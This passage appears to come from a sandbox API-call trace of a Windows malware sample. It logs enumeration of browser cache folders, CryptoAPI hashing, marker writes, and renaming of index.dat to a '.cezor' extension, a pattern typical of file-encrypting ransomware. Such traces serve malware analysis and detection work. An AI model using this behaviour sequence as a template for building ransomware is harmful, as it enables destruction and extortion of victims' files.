nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0061.735] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0061.735] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0061.735] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0061.735] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0061.735] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0061.735] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0061.735] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0061.735] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0061.735] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0061.735] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0061.735] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0061.736] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0061.736] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0061.736] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0061.736] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.736] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.736] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.736] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0061.736] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0061.736] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0061.736] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.736] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.736] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.736] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.736] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.736] PathFindFileNameW (pszPath="") returned="" [0061.736] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.737] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.737] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="36USA68T", cAlternateFileName="")) returned 1 [0061.737] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3O75JDME", cAlternateFileName="")) returned 1 [0061.737] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0061.737] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned=".dat" [0061.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.737] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=32768) returned 1 [0061.737] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.740] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x7fda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.740] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.741] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.741] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x8000, lpOverlapped=0x0) returned 1 [0061.741] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.741] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.742] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.742] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0061.742] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.742] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.742] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.742] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.742] GetLastError () returned 0x0 [0061.742] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.742] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0061.743] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.743] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.743] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.743] CloseHandle (hObject=0x5c4) returned 1 [0061.744] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat.cezor")) returned 1 [0061.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.744] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.745] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31238e8 | out: hHeap=0x670000) returned 1 [0061.745] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UV0DUWVB", cAlternateFileName="")) returned 1 [0061.745] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016c78 [0061.745] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0061.745] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa8) returned 0x2fedd78 [0061.746] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0061.746] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd0) returned 0x2fd28b0 [0061.746] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016f98 [0061.746] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3017060 [0061.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31152d8 | out: hHeap=0x670000) returned 1 [0061.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016ed0 | out: hHeap=0x670000) returned 1 [0061.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016e08 | out: hHeap=0x670000) returned 1 [0061.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d528 | out: hHeap=0x670000) returned 1 [0061.746] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016e08 [0061.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0061.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.746] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 1 [0061.746] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016c78 [0061.746] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016d40 [0061.746] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0x3016ed0 [0061.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016d40 | out: hHeap=0x670000) returned 1 [0061.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.746] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 0 [0061.746] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febad8 | out: hHeap=0x670000) returned 1 [0061.746] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.746] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febad8 [0061.746] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.746] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.746] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.747] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.748] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.748] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.748] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.748] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.748] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.748] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.748] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.748] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.748] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.748] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.748] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.748] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.748] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.748] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2feba20 | out: hHeap=0x670000) returned 1 [0061.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feba20 [0061.748] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.748] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.748] 